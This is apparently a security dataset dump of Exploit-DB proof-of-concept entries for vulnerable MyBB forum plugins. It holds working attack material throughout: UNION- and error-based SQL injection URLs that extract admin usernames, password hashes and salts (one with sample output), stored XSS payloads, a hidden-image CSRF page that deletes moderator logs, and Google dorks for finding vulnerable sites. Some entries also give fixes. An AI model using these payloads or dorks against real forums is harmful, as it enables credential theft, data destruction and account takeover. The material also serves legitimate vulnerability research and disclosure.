deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49496
Description: MyBB Hide Thread Content Plugin 1.0 - Information Disclosure
Type: webapps
Platform: php
Date: 2021-01-29
Author: 0xB9

Exploit:
# Exploit Title: MyBB Hide Thread Content Plugin 1.0 - Information Disclosure
# Date: 1/27/2021
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1430
# Version: 1.0
# Tested on: Windows 10
# CVE: CVE-2021-3337

1. Description:
This plugin hides thread content until user replies to the thread. The information disclosure is hidden content can be viewed without replying.

2. Proof of Concept:

- Visit a post where content is hidden
- Click the reply or quote button below
Thread content will be displayed in the [quote] bracket without needing to reply
Exploit-DB #23624
Description: MyBB HM My Country Flags - SQL Injection
Type: webapps
Platform: php
Date: 2012-12-24
Author: JoinSe7en

Exploit:
# Exploit title: HM My Country Flags SQL Injection
# Author: JoinSe7en
# Contact: join7 [+at+] riseup.net
# Tested on: Linux
# Category: Web Applications
# Software link: http://mods.mybb.com/view/hm-my-country-flags

HM My Country Flags has a SQL Injection vulnerability.
If we go to a thread we'll see a country next to the users post.

We'll start HTTP Live Headers and press this link to get the URL (Otherwise it's in popup box and we will not see the URL)

Here we'll work some magic with the ' 

http://server/forum/misc.php?action=hmflags&cnam=Belgium'&pf=5

Returns:

'MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1'

From here we can just perform basic UNION Based SQL Injection.
The column count is often very big, usually around 150-180 depending on the countries available.

This could be a query:

http://server/forum/misc.php?action=hmflags&cnam=-Belgium'+UNION SELECT 1,group_concat(username,0x3a,password,0x3a,salt,0x3b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164+FROM+mybb_users WHERE uid=1--+&pf=5

Output:

admin:018bda9eb505747441b9485b42cadab:apa2G1ge;

Enjoy :3
Exploit-DB #46273
Description: MyBB IP History Logs Plugin 1.0.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-01-28
Author: 0xB9

Exploit:
# Exploit Title: MyBB IP History Logs Plugin 1.0.2 - Cross-Site Scripting
# Date: 1/25/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1213
# Version: 1.0.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-6979


1. Description:
This plugin keeps a record of a users IP & User-Agent history. The User-Agent isn't sanitized to user input allowing for an XSS via ACP.
 

2. Proof of Concept:

- Change your User-Agent to a payload   <script>alert('XSS')</script>
- Log into an account

When admin visits the IP/User-Agent history page the payload will execute
http://localhost/[path]/admin/index.php?module=tools-ip_history_logs



3. Solution:
Update to 1.0.3
Exploit-DB #23249
Description: MyBB KingChat Plugin - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-09
Author: VipVince

Exploit:
Exploit Title: MyBB 'kingchat' chat-box plugin.
Google Dork: inurl:/kingchat.php?
Date: 8/12/12
Author: VipVince
Vendor Homepage: http://mods.mybb.com/
Software LinK: http://mods.mybb.com/view/kingchat
Tested on: Windows

Using the dork  inurl:/kingchat.php? you will see multiple forums running this chat plugin.

Note *Registration on the forums is required* for persistent XSS to work.

Now click a random forum with this plugin installed and you will see this:

http://vulnforum.com/kingchat.php?notic

Remove 'notic' at the end of the URL and add "chat=2&1=2" to our query so it becomes:

http://server/kingchat.php?chat=2&l=2

You will see the vulnerable chat box :). Submit your XSS for instance <script>alert("vipvince")</script>

Now to see our saved JavaScript alert go to:

http://server/kingchat.php?chat=2&l=2&message=

Your persistant XSS will be stored here.

Enjoy ;). VipVince.
Exploit-DB #23105
Description: MyBB KingChat Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2012-12-03
Author: Red_Hat

Exploit:
# Exploit Title: KingChat MyBB plugin SQL Injection 0day
# Google Dork: inurl:"kingchat.php"
# Date: 13.10.2012
# Exploit Author: Red_Hat [NullSec]
# Software Link: http://mods.mybb.com/view/kingchat
# Tested on: Windows & Linux.

Vulnerable code :

<?php
	$username=$_GET['username'];
	$uid=$_GET['uid'];
	$text=$_GET['text'];

					$users=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$username'");
					$users_info=$db->fetch_array($users);
					$users_num=$db->num_rows($users);
					$fusername=$users_info['uid'];
?>

The variable '$username' remains unsanitized.

Usage : http://www.site.com/kingchat.php?send=Red_Hat&username=[SQLi]

Shoutout to Zixem <3 & NullSec :3
Exploit-DB #44608
Description: MyBB Latest Posts on Profile Plugin 1.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-10
Author: 0xB9

Exploit:
# Exploit Title: MyBB Latest Posts on Profile Plugin v1.1 - Cross-Site Scripting
# Date: 4/20/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=914
# Version: 1.1
# Tested on: Ubuntu 17.10
# CVE: CVE-2018-10580


1. Description:
Adds a new section to user profiles that will display their last posts.
 

2. Proof of Concept:

Persistent XSS
- Create a thread with the following subject <script>alert('XSS')</script>
- Now visit your profile to see the alert.


3. Solution:
I reported the plugin twice over the past 3 weeks and recieved no response.


The following should be added in line 236 to properly sanitize thread subjects.

$d['tsubject'] = htmlspecialchars_uni($d['tsubject']);
Exploit-DB #45179
Description: MyBB Like Plugin 3.0.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-10
Author: 0xB9

Exploit:
# Exploit Title: MyBB Like Plugin 3.0.0 - Cross-Site Scripting
# Date: 2018-08-01
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=360
# Version: 3.0.0
# Tested on: Ubuntu 18.04
# CVE: N/A

# 1. Description:
# This plugin allows users to thank/like other users threads/posts. 
# In user profiles it shows your most liked post/thread, the post/thread 
# subjects aren't sanitized to user input.
 
# 2. Proof of Concept:

- Use the following as the post/thread subject  <script>alert('XSS')</script>
- Get that post/thread liked by another user (or you)
- Visit your profile to see alert.
Exploit-DB #45224
Description: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-08-20
Author: 0xB9

Exploit:
# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
# Date: 2018-05-17
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04

# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs 
# in the modCP & ACP.

# 2. Proof of Concept:

<html>
	<body>
		<-- Deletes mod note logs -->
		<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
		<-- Deletes mod notes -->
		<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">
		
		<!-- You can also delete notes individually by the nid (note ID)
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">
		-->
	</body>
</html>
Exploit-DB #44754
Description: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-25
Author: 0xB9

Exploit:
# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Scripting
# Date: 2018-05-17
# Author: 0xB9
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04
# CVE: N/A

# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The XSS is located in the mod notes textarea.
 
# 2. Proof of Concepts:

Go to the modCP and save the following payload in the moderator notes  <script>alert(\'XSS\')</script>

The alert will appear on the modCP and ACP.
localhost/modcp.php
localhost/admin/index.php?module=tools-modnoteslog
Exploit-DB #44186
Description: MyBB My Arcade Plugin 1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-02-27
Author: 0xB9

Exploit:
# Exploit Title: MyBB My Arcade Plugin v1.3 - Persistent XSS
# Date: 2/21/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=411
# Version: 1.3
# Tested on: Ubuntu 17.10


1. Description:
The My Arcade plugin adds a page of arcade games and keeps track of user scores, also allowing users to add a comment next to their score. The comment box is vulnerable to a persistent XSS.
 

2. Proof of Concept:

Persistent XSS
- Play an arcade game
- Add the following comment to your score <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Edit the comment, Boom.


3. Solution:
Update to 1.3.1
Patch: https://github.com/PaulBender/My-Arcade/commit/4ee2a2e8d245defb94930c2c377e78ddfb0fcc94
Exploit-DB #17972
Description: MyBB MyStatus 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-12
Author: Mario_Vs

Exploit:
---------------------------------------------------------------------
Exploit Title : MyBB MyStatus 3.1
---------------------------------------------------------------------

Author      : Mario_Vs
Date        : 10/10/2011
Site        : http://mariovs.pl/
@  	    : mario_vs[at]o2.pl
---------------------------------------------------------------------

Description >

Vendor 	    : http://mods.mybb.com/download/mystatus
Tested On   : Windows 7
---------------------------------------------------------------------

SQL Injection

http://localhost/mybb/process-mystatus.php?action=delete&statid=[SQLi]
---------------------------------------------------------------------

---------------------------------------------------------------------

Greets To: linc0ln.dll, j4ck, lDoran, ElusiveN, d3dik, thc_flow, PricK, artii2

All users: HackinQ.pl
Exploit-DB #36005
Description: MyBB MyTabs Plugin - 'tab' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-02
Author: AutoRUN & dR.sqL

Exploit:
source: https://www.securityfocus.com/bid/48952/info

The MyTabs plugin for MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 


http://www.example.com/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -
Exploit-DB #17595
Description: MyBB MyTabs Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-02
Author: AutoRUN & dR.sqL

Exploit:
=====================================================================
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability
=====================================================================

# Exploit title :  MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Vulnerable Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !

Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

---------------------------------------
#           ~ Expl0itation ~            #
---------------------------------------

$~ Get the administrator's username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

$~ Get the administrator's password ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -


     _         _        ____  _   _ _   _                   _       _ ____              _     
    / \  _   _| |_ ___ |  _ \| | | | \ | |   __ _ _ __   __| |   __| |  _ \   ___  __ _| |    
   / _ \| | | | __/ _ \| |_) | | | |  \| |  / _` | '_ \ / _` |  / _` | |_) | / __|/ _` | |    
  / ___ \ |_| | |_ (_) |  _ <| |_| | |\  | | (_| | | | | (_| | | (_| |  _ < _\__ \ (_| | |___ 
 /_/   \_\__,_|\__\___/|_| \_\\___/|_| \_|  \__,_|_| |_|\__,_|  \__,_|_| \_(_)___/\__, |_____|
                                                                                     |_|      



# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , R-t33n , Ace Wizard, KubaNnez1 , ssgodfather, DJDukli , b4ti , CroSs HackForums.AL members & All our friends.



  ____                      _   ____  ____       _    _ _                 _               _ 
 |  _ \ _ __ ___  _   _  __| | |___ \| __ )     / \  | | |__   __ _ _ __ (_) __ _ _ __   | |
 | |_) | '__/ _ \| | | |/ _` |   __) |  _ \    / _ \ | | '_ \ / _` | '_ \| |/ _` | '_ \  | |
 |  __/| | | (_) | |_| | (_| |  / __/| |_) |  / ___ \| | |_) | (_| | | | | | (_| | | | | |_|
 |_|   |_|  \___/ \__,_|\__,_| |_____|____/  /_/   \_\_|_.__/ \__,_|_| |_|_|\__,_|_| |_| (_)
                                                                                            

# 2011
Exploit-DB #45057
Description: MyBB New Threads Plugin 1.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-07-19
Author: 0xB9

Exploit:
# Exploit Title: MyBB New Threads Plugin - Cross-Site Scripting
# Date: 7/16/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1143
# Version: 1.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14392


1. Description:
New Threads is a plugin that displays new threads on the index page. The thread titles allow XSS.
 

2. Proof of Concept:

- Create a new thread with the following subject  <script>alert('XSS')</script>
- Visit the index page to see alert.


3. Solution:
Update to 1.2
Exploit-DB #46080
Description: MyBB OUGC Awards Plugin 1.8.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-01-07
Author: 0xB9

Exploit:
# Exploit Title: MyBB OUGC Awards Plugin v1.8.3 - Cross-Site Scripting
# Date: 12/31/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=396
# Version: 1.8.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-3501


1. Description:
OUGC Awards plugin for MyBB forum allows admins and moderators to grant awards to users which displays on profiles/posts. The reason input isn't sanitized on awards page and user profiles.
 

2. Proof of Concept:

- Have a mod account level or higher
- Go to Manage Awards in ModCP
- Give an award to a user and input payload for reason   <script>alert('XSS')</script>

- Payload executes when viewing award on awards.php and user profiles.


3. Solution:
Update to 1.8.19
Exploit-DB #49635
Description: MyBB OUGC Feedback Plugin 1.8.22 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-03-11
Author: 0xB9

Exploit:
# Exploit Title: MyBB OUGC Feedback Plugin 1.8.22 - Cross-Site Scripting
# Date: 1/30/2021
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1220
# Version: 1.8.22
# Tested on: Windows 10
# CVE: CVE-2021-28115

1. Description:
This plugin adds a feedback system to your forum. Edit feedback button is vulnerable to XSS.

2. Proof of Concept:

- Go to a user profile
- Add feedback and leave the following payload as comment   "><script>alert(1)</script>
- View the feedback feedback.php?uid=2 
- When clicking Edit payload will execute
Exploit-DB #5379
Description: MyBB Plugin Custom Pages 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-06
Author: Lidloses_Auge

Exploit:
###################################################################################
#										  #
# MyBulletin Board (MyBB) Plugin "Custom Pages 1.0" - SQL Injection Vulnerability #
#										  #
#    found by: Lidloses_Auge 							  #
#    Greetz to: free-hack.com							  #
#										  #
###############################################################################################################################################
#																	      #
# Vulnerability:															      #
#																	      #
#    Document:      pages.php														      #
#    GET-Parameter: page														      #
#																	      #
# Dork:																	      #
#																	      #
#    inurl:"pages.php" + intext:"powered by mybb"											      #
#																	      #
# Example:																      #
#																	      #
#    http://[target]/pages.php?page='union/**/select/**/1,unhex(hex(concat_ws(0x202d20,username,password))),3,4,5,6,7/**/FROM/**/mybb_users/* #
#																	      #
# Notes:																      #
#																	      #
#    Successrate depends on the permissions which could be set for viewing the 'page'						              #
#																	      #
###############################################################################################################################################

# milw0rm.com [2008-04-06]
Exploit-DB #44400
Description: MyBB Plugin Downloads 2.0.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-05
Author: 0xB9

Exploit:
# Exploit Title: MyBB Downloads Plugin v2.0.3 - Persistent XSS
# Date: 3/28/18
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=854
# Version: 2.0.3
# Tested on: Ubuntu 17.10


1. Description:
It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.


2. Proof of Concept:

Persistent XSS
- Go to downloads.php page
- Create a New Download
- Add the following to the title <BODY ONLOAD=alert('XSS')>
- Now when the admin goes to validate your download he will be alerted


3. Solution:
Update to the latest release

Patch: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads/pull/1/commits
Exploit-DB #44339
Description: MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-03-23
Author: 0xB9

Exploit:
# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS
# Date: 3/19/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=910
# Version: v1.2
# Tested on: Ubuntu 17.10


1. Description:
Display last threads in user profile.
 

2. Proof of Concept:

Persistent XSS
- Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit your profile to see the alert.


3. Solution:

Patch: https://github.com/vintagedaddyo/MyBB_Plugin_Last-User-s-Threads-in-Profile/commit/5e3b81450d0bf7935885db2622f1a42e5961258d
Exploit-DB #44420
Description: MyBB Plugin Recent Threads On Index - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-09
Author: Perileos

Exploit:
# Exploit Title: MyBB Recent threads
# Date: 4th April 2018
# Exploit Author: Perileos
# Software Link: https://community.mybb.com/mods.php?action=view&pid=191
# Version: 17.0
# Tested on: Windows 10

1. Description:
This plugin shows recent threads in the side bar on your MyBB forum.

2. Proof of concept:

Persistent XSS
- Create a thread with the following subject <p
"""><SCRIPT>alert("XSS")</SCRIPT>">
- Navigate to the index to see a board wide persistent XSS alert.
Exploit-DB #22003
Description: MyBB Profile Albums Plugin 0.9 - 'albums.php?album' SQL Injection
Type: webapps
Platform: php
Date: 2012-10-16
Author: Zixem

Exploit:
# Exploit Title: Profile Albums MyBB plugin SQL Injection 0day
# Google Dork: inurl:albums.php intext:"powered by Mybb"
# Date: 14.10.2012
# Exploit Author: Zixem
# Software Link: http://mods.mybb.com/view/profilealbums
# Version: 0.9
# Tested on: Linux.
----------------------------------------------

The vulnerabillity exist within albums.php :

	<?
		/*Line 69*/	$aid = $mybb->input['album']; 
		/*Line 86*/	$query_add_breadcrumb = $db->simple_select("albums", "*", "aid='".$aid."'");
	?>

/albums.php?action=editimage&image=[Vaild_ID]&album=[Vaild_album_ID][SQLi]

(You need to create a new account && upload album and images)
----------------------------------------------
Image : http://i.imgur.com/yeAx0.png


Follow: https://twitter.com/PonyBlaze